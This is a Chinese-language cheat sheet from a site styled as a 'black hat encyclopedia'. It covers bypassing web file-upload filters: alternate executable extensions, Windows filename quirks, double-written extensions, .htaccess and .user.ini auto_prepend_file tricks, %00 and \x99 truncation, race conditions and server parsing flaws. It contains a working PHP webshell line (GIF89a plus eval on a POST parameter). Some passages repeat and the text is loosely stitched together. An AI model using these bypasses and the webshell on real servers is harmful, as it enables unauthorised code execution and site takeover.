#由于只有后缀是可控的 所以常见的后缀为php中 php2,php3,php4,php5,phtm,phtml,pht,如果是黑名单的话 果断.htacess 和user.ini 文件传上去看看 asp中 cer,asa,aspx,svc,ashx,asax,ascx,asmx等 jsp中 jsp,jspx,jspa,jsw,jsv,jspf,jtml #windows环境下 1.)可尝试大小写绕-->因为windows下不区分大小写导致的 2.)可尝试 php::$DATA php.等后缀 3.)先上传a.php:.jpg,生成空的a.php文件,在上传a.ph<写入文件内容 4.)如果web服务器配置了ssi,可尝试SHTML,SHT等文件命令执行
黑名单特殊绕过的原理分析
windows特性绕过
#如 ①如果在代码中没有过滤掉空格类时,可以利用windows的特性php(空格)进行绕过-->即该类名字最后会被直接去除掉空格 即无这句话$file_ext = trim($file_ext); //首尾去空 ②留点绕过 原理-->windows环境中会自动去除点 即如果没有这句话且又是黑名单检测的话$file_name = deldot($file_name); 可以shell.php.绕过 ③利用”::$DATA”处理,利用windows特性,可在后缀名中加” ::$DATA”绕过 即无这句话 $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
过滤次数仅有一次类绕过
常见使用于–>文件的名字仍为上传的文件名的这种情况
原理 ①如在中如果过滤了.但在中虽然经过了过滤但是只过滤了一次的这种情况 因此可以进行php..进行绕过 ②双写类-->即将黑名单的内容替换为空这种情况 $file_name = str_ireplace($deny_ext,"", $file_name); 因此直接shell.pphphp即可绕过
2.)上传文件不重命名
通过配置文件进行绕过
通过.htaccess–>只适用于apache服务器情况可以被解析
.htaccess的内容
SetHandler application/x-httpd-php
GIF89a //绕过exif_imagetype() auto_prepend_file=a.jpg //指定在主文件之前自动解析的文件的名称,并包含该文件,就像使用require函数调用它一样。 auto_append_file=a.jpg //解析后进行包含
使用方法
1.先上传.user.ini文件
//.user.ini GIF89a#当需要检测文件头时需要使用 auto_prepend_file=a.jpg#即执行前先执行这个文件,从而连接其即可达到geteshell的作用
这个文件的作用为类似于在文件前调用了require()函数
是一个php配置项
该配置项会让php文件在执行前先包含一个指定的文件,通过这个配置项,我们就可以来隐藏自己的后门
GIF89a <script language='php'> @eval($_POST['pass']);</script>
如果其他文件均被解析为图片或者其他类型
上传index类文件可能可以被解析
如 index.php,index.jsp,index.asp类
①截取原理 img_path直接拼接导致 1.)get类获取直接拼接-->get类发送的可以直接解码%00 如 $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext; 即可在save_path路径输出的地方控制位 shell.php%00 2.)post类获取直接拼接-->也是采用%00截断,不同点在于-->post类型的需要在二进制中修改 $img_path = $_POST['save_path']."/".rand(10,99).date("YmdHis").".".$file_ext; ②条件竞争原理 如upload类 即先上传文件后然后在进行删除与修改 如下 因此可以不断的intruder包然后进行获取到 $upload_file = UPLOAD_PATH . '/' . $file_name; if(move_uploaded_file($temp_file, $upload_file)){ if(in_array($file_ext,$ext_arr)){ $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext; rename($upload_file, $img_path); $is_upload = true; }else{ $msg = "只允许上传.jpg|.png|.gif类型文件!"; unlink($upload_file);
②常见利用中间组件和编辑器漏洞思路去绕过
如
1.)文件包含漏洞+解析漏洞组合拳
1.)apache解析漏洞
如
test.php.xxx
#因为xxx不能不解析,所以直接向左解析一步,直接解析为test.php
2.)IIS解析漏洞
即会将jpg解析为php类
1.)apache解析漏洞 如 test.php.xxx #因为xxx不能不解析,所以直接向左解析一步,直接解析为test.php 2.)IIS解析漏洞 即会将jpg解析为php类
如(即编辑器处典型配合解析漏洞)
利用–>即直接代shell即可
#如 ①如果在代码中没有过滤掉空格类时,可以利用windows的特性php(空格)进行绕过-->即该类名字最后会被直接去除掉空格 即无这句话$file_ext = trim($file_ext); //首尾去空 ②留点绕过 原理-->windows环境中会自动去除点 即如果没有这句话且又是黑名单检测的话$file_name = deldot($file_name); 可以shell.php.绕过 ③利用”::$DATA”处理,利用windows特性,可在后缀名中加” ::$DATA”绕过 即无这句话 $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA0
2.)请求头部过滤
如
绕过方法:更改一个为大写字母即可
3.)upload+任意文件删除组合拳
①在后台允许上传的文件中,添加自己想要的文件格式
②如果.htaccess限制了访问规则
找到一个任意文件删除的漏洞
删除.htaccess即可绕过访问规则
3.截断利用绕过
造成原因:作为底层的语言一个函数出问题导致
\00截断利用–>php版本类型最多(且目录解析类型最多)–>核心低版本服务器的解析问题造成的漏洞
使用条件:
php版本的情况1.
php版本小于5.3.42
magic_quotes_gpc为off状态–>如果开启了则%00为被反斜杠转义掉
如3
get请求类型与post请求类型不同所需要更改的不同
原因:
get类型-->url可以直接进行编码将%00变成一个非正常符号的编码
post类型-->url不进行直接编码,因此必须更改hex的值才可以进行-->或者进行url编码代绕
即直接利用代截断后面的内容实现绕过–>常见目录名截取
如
因为合取的是让road直接连接后面上传的文件
所以在这里构造%00进行截取掉后面的内容,从而实现绕过
java版本
使用条件
jdk8<jdk版本
JDK版本范围:JDK<1.7.40,单是JDK7于2011年07月28日发布至2013年09月10日发表Java SE 7 Update 40这两年多期间受影响的就有16个版本,值得注意的是JDK1.6虽然JDK7修复之后发布了数十个版本,但是并没有任何一个版本修复过这个问题,而JDK8发布时间在JDK7修复以后所以并不受此漏洞影响。
1
\x99截断利用
x.php\x99.jpg #即可以进行截取了
版权声明:本文为 “黑帽百科” 原创文章,转载请附上原文出处链接及本声明;
工作时间:10:00~22:00
客服电话
电子邮件
hack66666@foxamil.com
扫码二维码
获取最新动态